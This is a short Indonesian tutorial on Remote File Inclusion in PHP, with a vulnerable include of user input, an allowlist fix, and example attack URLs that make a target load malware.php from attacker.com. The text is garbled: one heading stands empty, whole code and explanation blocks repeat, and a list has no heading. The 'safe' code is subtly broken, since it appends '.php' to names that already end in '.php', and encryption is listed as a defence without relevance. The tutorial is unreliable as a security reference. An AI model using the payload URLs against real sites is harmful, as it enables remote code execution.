RFI (Remote File Inclusion)
RFI (Remote File Inclusion) adalah jenis kerentanan keamanan yang memungkinkan penyerang untuk mengakses file dari lokasi jarak jauh (remote) dan menjalankannya pada sistem yang rentan.
RFI adalah singkatan dari:
Contoh RFI:
// Kode yang rentan RFI
$file = $_GET['file'];
include($file . '.php');
Dalam contoh di atas, kode yang rentan RFI memungkinkan penyerang untuk mengakses file dari lokasi jarak jauh dengan mengirimkan permintaan yang sesuai.
Untuk mencegah RFI, kode di atas dapat diubah menjadi:
// Kode yang aman
$allowed_files = array('file1.php', 'file2.php');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
include($file . '.php');
} else {
echo "Akses tidak diizinkan";
}
Dalam contoh di atas, kode yang aman memvalidasi input pengguna dan hanya memungkinkan akses ke file yang sah.
RFI adalah singkatan dari:
- Remote: Menyebutkan bahwa kerentanan ini terkait dengan akses ke file dari lokasi jarak jauh.
- File: Menyebutkan bahwa kerentanan ini terkait dengan akses ke file.
- Inclusion: Menyebutkan bahwa kerentanan ini terkait dengan kemampuan penyerang untuk mengakses file dari lokasi jarak jauh dan menjalankannya pada sistem yang rentan.
- Mengakses file berbahaya dari lokasi jarak jauh
- Mengakses file sensitif dari lokasi jarak jauh
- Menjalankan kode berbahaya dari lokasi jarak jauh
Contoh RFI:
- Pengguna dapat mengakses file dari lokasi jarak jauh dengan mengirimkan permintaan seperti http://example.com/index.php?file=http://attacker.com/malware.php.
- Pengguna dapat mengakses file dari lokasi jarak jauh dengan mengirimkan permintaan seperti http://example.com/index.php?file=ftp://attacker.com/malware.php.
// Kode yang rentan RFI
$file = $_GET['file'];
include($file . '.php');
Dalam contoh di atas, kode yang rentan RFI memungkinkan penyerang untuk mengakses file dari lokasi jarak jauh dengan mengirimkan permintaan yang sesuai.
Untuk mencegah RFI, kode di atas dapat diubah menjadi:
// Kode yang aman
$allowed_files = array('file1.php', 'file2.php');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
include($file . '.php');
} else {
echo "Akses tidak diizinkan";
}
Dalam contoh di atas, kode yang aman memvalidasi input pengguna dan hanya memungkinkan akses ke file yang sah.
RFI dapat dicegah dengan melakukan:
- Validasi input pengguna
- Implementasi akses kontrol yang ketat
- Penggunaan enkripsi
- Implementasi audit dan pemantauan